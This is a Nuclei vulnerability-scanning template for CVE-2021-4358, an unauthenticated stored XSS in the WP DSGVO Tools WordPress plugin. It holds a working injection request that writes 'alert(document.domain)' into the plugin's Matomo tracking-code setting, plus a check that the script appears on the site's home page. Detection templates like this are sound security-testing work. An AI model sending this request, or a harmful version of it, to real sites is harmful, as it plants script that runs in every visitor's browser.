id: CVE-2021-4358

info:
  name: WP DSGVO Tools (GDPR) <= 3.1.22 - Unauthenticated Stored Cross-Site Scripting
  author: DhiyaneshDk
  severity: high
  description: |
    The WP DSGVO Tools (GDPR) plugin for WordPress is vulnerable to Stored Cross-Site Scripting via an unknown parameter in versions up to, and including, 3.1.23 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
  impact: |
    Arbitrary JavaScript execution in the browser of every visitor to the site, enabling session theft, admin
    account takeover, and site defacement.
  remediation: |
    Update WP DSGVO Tools (GDPR) to 3.1.24 or later, which escapes the integration tracking code and restricts the
    integration save handlers.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2021-4358
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/shapepress-dsgvo
    - https://patchstack.com/database/wordpress/plugin/shapepress-dsgvo/vulnerability/
    - https://plugins.trac.wordpress.org/changeset?old_path=/shapepress-dsgvo/tags/3.1.23&new_path=/shapepress-dsgvo/tags/3.1.24
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2021-4358
    epss-score: 0.00779
    epss-percentile: 0.56224
    cwe-id: CWE-79
  metadata:
    verified: true
    max-request: 2
    vendor: shapepress
    product: shapepress-dsgvo
    framework: wordpress
    publicwww-query: "/wp-content/plugins/shapepress-dsgvo/"
  tags: cve,cve2021,wordpress,wp-plugin,shapepress-dsgvo,dsgvo,xss,unauth,intrusive,vkev

variables:
  marker: "{{to_lower(rand_text_alpha(14))}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=SPDSGVO-integration-matomo&matomo_enable=1&matomo_tag_number=1&matomo_implementationMode=on-premises&matomo_code=alert(document.domain)//{{marker}}

    matchers:
      - type: dsl
        dsl:
          - "status_code == 302 || status_code == 200"
        internal: true

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "alert(document.domain)//{{marker}}"

      - type: status
        status:
          - 200
# digest: 4a0a004730450220622d50fb2b00e8235a89922b845af79ccede9b1c407305dc97572dc53852c805022100f1706d2b2ac2f7bfb7c26abe9fa378e2dd19d0776693342eb79c35a7789c59b1:922c64590222798bb761d5b6d8e72950